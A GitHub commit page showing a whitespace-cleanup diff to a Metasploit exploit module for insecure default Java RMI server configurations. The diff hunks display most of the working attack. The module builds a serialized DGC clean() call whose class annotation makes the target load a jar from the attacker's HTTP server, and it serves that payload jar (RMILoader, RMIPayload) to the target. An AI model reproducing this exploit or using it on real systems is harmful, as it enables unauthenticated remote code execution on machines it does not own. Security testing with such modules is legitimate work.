Skip to content

Commit c60fa49

Browse files
committed
Delete extra spaces
1 parent e6fbca7 commit c60fa49

File tree

1 file changed

+22
-22
lines changed

1 file changed

+22
-22
lines changed

modules/exploits/multi/misc/java_rmi_server.rb

Lines changed: 22 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -16,13 +16,13 @@ def initialize(info = {})
1616
'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',
1717
'Description' => %q{
1818
This module takes advantage of the default configuration of the RMI Registry and
19-
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
19+
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
2020
invokes a method in the RMI Distributed Garbage Collector which is available via every
21-
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
21+
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
2222
(custom) RMI endpoints as well.
2323
2424
Note that it does not work against Java Management Extension (JMX) ports since those do
25-
not support remote class loading, unless another RMI endpoint is active in the same
25+
not support remote class loading, unless another RMI endpoint is active in the same
2626
Java process.
2727
2828
RMI method calls do not support or require any sort of authentication.
@@ -32,14 +32,14 @@ def initialize(info = {})
3232
'References' =>
3333
[
3434
# RMI protocol specification
35-
[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
35+
[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
3636
# Placeholder reference for matching
37-
[ 'MSF', 'java_rmi_server']
37+
[ 'MSF', 'java_rmi_server']
3838
],
3939
'DisclosureDate' => 'Oct 15 2011',
4040
'Platform' => %w{ java linux osx solaris win },
4141
'Privileged' => false,
42-
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
42+
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
4343
'Stance' => Msf::Exploit::Stance::Aggressive,
4444
'DefaultOptions' =>
4545
{
@@ -82,7 +82,7 @@ def initialize(info = {})
8282
))
8383
register_options([
8484
Opt::RPORT(1099),
85-
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
85+
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
8686
], self.class)
8787
register_common_rmi_ports_and_services
8888
end
@@ -91,18 +91,18 @@ def exploit
9191
begin
9292
Timeout.timeout(datastore['HTTPDELAY']) { super }
9393
rescue Timeout::Error
94-
# When the server stops due to our timeout, re-raise
94+
# When the server stops due to our timeout, re-raise
9595
# RuntimeError so it won't wait the full wfs_delay
96-
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
96+
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
9797
rescue Msf::Exploit::Failed
9898
# When the server stops due primer failing, re-raise
9999
# RuntimeError so it won't wait the full wfs_delays
100-
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
101-
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
100+
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
101+
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
102102
# When the primer fails due to an error connecting with
103103
# the rhost, re-raise RuntimeError so it won't wait the
104104
# full wfs_delays
105-
raise ::RuntimeError, e.message
105+
raise ::RuntimeError, e.message
106106
end
107107
end
108108

@@ -117,7 +117,7 @@ def primer
117117
send_header
118118
ack = recv_protocol_ack
119119
if ack.nil?
120-
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
120+
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
121121
end
122122

123123
jar = rand_text_alpha(rand(8)+1) + '.jar'
@@ -141,7 +141,7 @@ def primer
141141

142142
# JDK 1.1 stub protocol
143143
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
144-
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
144+
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
145145
send_call(
146146
object_number: 2,
147147
uid_number: 0,
@@ -180,12 +180,12 @@ def on_request_uri(cli, request)
180180
p = regenerate_payload(cli)
181181
jar = p.encoded_jar
182182
paths = [
183-
[ "metasploit", "RMILoader.class" ],
184-
[ "metasploit", "RMIPayload.class" ],
183+
[ "metasploit", "RMILoader.class" ],
184+
[ "metasploit", "RMIPayload.class" ],
185185
]
186-
jar.add_files(paths, MetasploitPayloads.path('java'))
186+
jar.add_files(paths, MetasploitPayloads.path('java'))
187187

188-
send_response(cli, jar.pack,
188+
send_response(cli, jar.pack,
189189
{
190190
'Content-Type' => 'application/java-archive',
191191
'Connection' => 'close',
@@ -240,7 +240,7 @@ def build_dgc_clean_args(jar_url)
240240
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
241241

242242
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
243-
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
243+
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
244244
new_array_desc.serial_version = 0x871300b8d02c647e
245245
new_array_desc.flags = 2
246246
new_array_desc.fields = []
@@ -259,13 +259,13 @@ def build_dgc_clean_args(jar_url)
259259
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
260260

261261
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
262-
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
262+
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
263263
new_class_desc.serial_version = 0xa16544ba26f9c2f4
264264
new_class_desc.flags = 2
265265
new_class_desc.fields = []
266266
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
267267
new_class_desc.class_annotation.contents = [
268-
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
268+
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
269269
Rex::Java::Serialization::Model::EndBlockData.new
270270
]
271271
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
@@ -278,7 +278,7 @@ def build_dgc_clean_args(jar_url)
278278

279279
arguments << new_object
280280

281-
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
281+
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
282282

283283
arguments
284284
end

0 commit comments

Comments
 (0)